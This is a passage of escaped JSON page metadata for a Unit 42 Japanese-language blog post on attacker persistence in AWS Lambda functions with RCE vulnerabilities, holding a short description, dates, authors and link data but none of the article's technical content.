Lambda\u306a\u3069\u306e\u4e00\u822c\u7684\u30b5\u30fc\u30d0\u30fc\u30ec\u30b9\u30b3\u30f3\u30d4\u30e5\u30fc\u30c6\u30a3\u30f3\u30b0\u5411\u3051\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30bd\u30ea\u30e5\u30fc\u30b7\u30e7\u30f3\u3067\u306f\u3001\u8106\u5f31\u6027\u30b9\u30ad\u30e3\u30f3\u3084\u30e9\u30f3\u30bf\u30a4\u30e0\u4fdd\u8b77\u306a\u3069\u304c\u63d0\u4f9b\u3055\u308c\u3066\u3044\u307e\u3059\u304c\u3001Lambda\u95a2\u6570\u306bRCE\u8106\u5f31\u6027\u304c\u3042\u3063\u305f\u5834\u5408\u653b\u6483\u8005\u306f\u4f55\u3092\u306a\u3057\u3046\u308b\u3067\u3057\u3087\u3046\u304b\u3002Lambda\u3067\u306e\u30c7\u30fc\u30bf\u51e6\u7406\u30fb\u691c\u8a3c\u5f8c\u306b\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u633f\u5165\u3059\u308b\u3068\u3044\u3046\u4e00\u822c\u7684\u30e6\u30fc\u30b9\u30b1\u30fc\u30b9\u304b\u3089\u691c\u8a3c\u3057\u3066\u307f\u307e\u3057\u305f\u3002","og_url":"https:\/\/unit42.paloaltonetworks.com\/ja\/gaining-persistency-vulnerable-lambdas\/","og_site_name":"Unit 42","article_published_time":"2019-09-02T13:08:20+00:00","article_modified_time":"2020-09-29T01:24:08+00:00","og_image":[{"width":900,"height":362,"url":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/09\/aws-lambda-blog-banner-1.png","type":"image\/png"}],"author":"Yuval Avrahami","twitter_card":"summary_large_image","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/gaining-persistency-vulnerable-lambdas\/#article","isPartOf":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/gaining-persistency-vulnerable-lambdas\/"},"author":{"name":"Ayako Kimijima","@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/5502567dd627cdd5a306432cd651a90e"},"headline":"\u8106\u5f31\u6027\u306e\u3042\u308bLambda\u3067\u306e\u6c38\u7d9a\u6027\u306e\u78ba\u4fdd","datePublished":"2019-09-02T13:08:20+00:00","dateModified":"2020-09-29T01:24:08+00:00","mainEntityOfPage":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/gaining-persistency-vulnerable-lambdas\/"},"wordCount":345,"commentCount":0,"image":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/gaining-persistency-vulnerable-lambdas\/#primaryimage"},"thumbnailUrl":"https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/09\/aws-lambda-blog-banner-1.png","keywords":["AWS","RCE","Remote Code Execution"],"articleSection":["Cloud Cybersecurity Research","\u30af\u30e9\u30a6\u30c9 \u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 \u30ea\u30b5\u30fc\u30c1","\u8105\u5a01\u30ea\u30b5\u30fc\u30c1"],"inLanguage":"ja","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/unit42.paloaltonetworks.com\/ja\/gaining-persistency-vulnerable-lambdas\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/gaining-persistency-vulnerable-lambdas\/","url":"https:\/\/unit42.paloaltonetworks.com\/ja\/gaining-persistency-vulnerable-lambdas\/","name":"\u8106\u5f31\u6027\u306e\u3042\u308bLambda\u3067\u306e\u6c38\u7d9a\u6027\u306e\u78ba\u4fdd","isPartOf":{"@id":"https:\/\/unit42.paloaltonetworks.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/gaining-persistency-vulnerable-lambdas\/#primaryimage"},"image":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/gaining-persistency-vulnerable-lambdas\/#primaryimage"},"thumbnailUrl":"https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/09\/aws-lambda-blog-banner-1.png","datePublished":"2019-09-02T13:08:20+00:00","dateModified":"2020-09-29T01:24:08+00:00","author":{"@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/5502567dd627cdd5a306432cd651a90e"},"description":"AWS Lambda\u306a\u3069\u306e\u4e00\u822c\u7684\u30b5\u30fc\u30d0\u30fc\u30ec\u30b9\u30b3\u30f3\u30d4\u30e5\u30fc\u30c6\u30a3\u30f3\u30b0\u5411\u3051\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30bd\u30ea\u30e5\u30fc\u30b7\u30e7\u30f3\u3067\u306f\u3001\u8106\u5f31\u6027\u30b9\u30ad\u30e3\u30f3\u3084\u30e9\u30f3\u30bf\u30a4\u30e0\u4fdd\u8b77\u306a\u3069\u304c\u63d0\u4f9b\u3055\u308c\u3066\u3044\u307e\u3059\u304c\u3001Lambda\u95a2\u6570\u306bRCE\u8106\u5f31\u6027\u304c\u3042\u3063\u305f\u5834\u5408\u653b\u6483\u8005\u306f\u4f55\u3092\u306a\u3057\u3046\u308b\u3067\u3057\u3087\u3046\u304b\u3002Lambda\u3067\u306e\u30c7\u30fc\u30bf\u51e6\u7406\u30fb\u691c\u8a3c\u5f8c\u306b\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u633f\u5165\u3059\u308b\u3068\u3044\u3046\u4e00\u822c\u7684\u30e6\u30fc\u30b9\u30b1\u30fc\u30b9\u304b\u3089\u691c\u8a3c\u3057\u3066\u307f\u307e\u3057\u305f\u3002","breadcrumb":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/gaining-persistency-vulnerable-lambdas\/#breadcrumb"},"inLanguage":"ja","potentialAction":[{"@type":"ReadAction","target":["https:\/\/unit42.paloaltonetworks.com\/ja\/gaining-persistency-vulnerable-lambdas\/"]}]},{"@type":"ImageObject","inLanguage":"ja","@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/gaining-persistency-vulnerable-lambdas\/#primaryimage","url":"https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/09\/aws-lambda-blog-banner-1.png","contentUrl":"https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/09\/aws-lambda-blog-banner-1.png","width":900,"height":362},{"@type":"BreadcrumbList","@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/gaining-persistency-vulnerable-lambdas\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/unit42.paloaltonetworks.com\/ja\/"},{"@type":"ListItem","position":2,"name":"\u8106\u5f31\u6027\u306e\u3042\u308bLambda\u3067\u306e\u6c38\u7d9a\u6027\u306e\u78ba\u4fdd"}]},{"@type":"WebSite","@id":"https:\/\/unit42.paloaltonetworks.com\/#website","url":"https:\/\/unit42.paloaltonetworks.com\/","name":"Unit 42","description":"Palo Alto Networks","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/unit42.paloaltonetworks.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"ja"},{"@type":"Person","@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/5502567dd627cdd5a306432cd651a90e","name":"Ayako Kimijima","image":{"@type":"ImageObject","inLanguage":"ja","@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/image\/9213e49ea48b7676660bac40d05c9e3e","url":"https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/11\/unit-news-meta.svg","contentUrl":"https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/11\/unit-news-meta.svg","caption":"Ayako Kimijima"},"url":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/author\/akimijima\/"}]}},"_links":{"self":[{"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/posts\/108891","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/users\/323"}],"replies":[{"embeddable":true,"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/comments?post=108891"}],"version-history":[{"count":7,"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/posts\/108891\/revisions"}],"predecessor-version":[{"id":108900,"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/posts\/108891\/revisions\/108900"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/media\/100535"}],"wp:attachment":[{"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/media?parent=108891"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/categories?post=108891"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/tags?post=108891"},{"taxonomy":"product_categories","embeddable":true,"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/product_categories?post=108891"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/coauthors?post=108891"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}